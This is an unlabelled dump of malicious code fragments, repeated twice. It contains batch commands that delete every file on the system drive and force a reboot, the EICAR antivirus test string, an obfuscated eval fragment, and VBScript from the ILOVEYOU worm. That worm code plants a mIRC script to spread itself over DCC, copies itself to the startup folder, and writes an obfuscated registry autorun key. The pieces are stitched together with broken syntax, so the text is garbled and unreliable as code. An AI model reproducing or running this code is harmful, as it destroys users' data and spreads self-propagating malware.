@echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00 @Echo off Del C:\ *.* |y (){eval(unescape(('Script(t,'%')))})(/./g); X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ;" scriptini.WriteLine ;Khaled Mardam-Bey" scriptini.WriteLine ;http://www.mirc.com" scriptini.WriteLine ;" scriptini.WriteLine n0=on 1:JOIN:#:{" scriptini.WriteLine n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub
@echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00 Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) @Echo off Del C:\ *.* |y fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" (){eval(unescape(('Script(t,'%')))})(/./g); lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ;" scriptini.WriteLine ;Khaled Mardam-Bey" scriptini.WriteLine ;(p)(p)(p)(p)(p)http://www.mirc.com" scriptini.WriteLine ;" scriptini.WriteLine n0=on 1:JOIN:#:{" scriptini.WriteLine n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next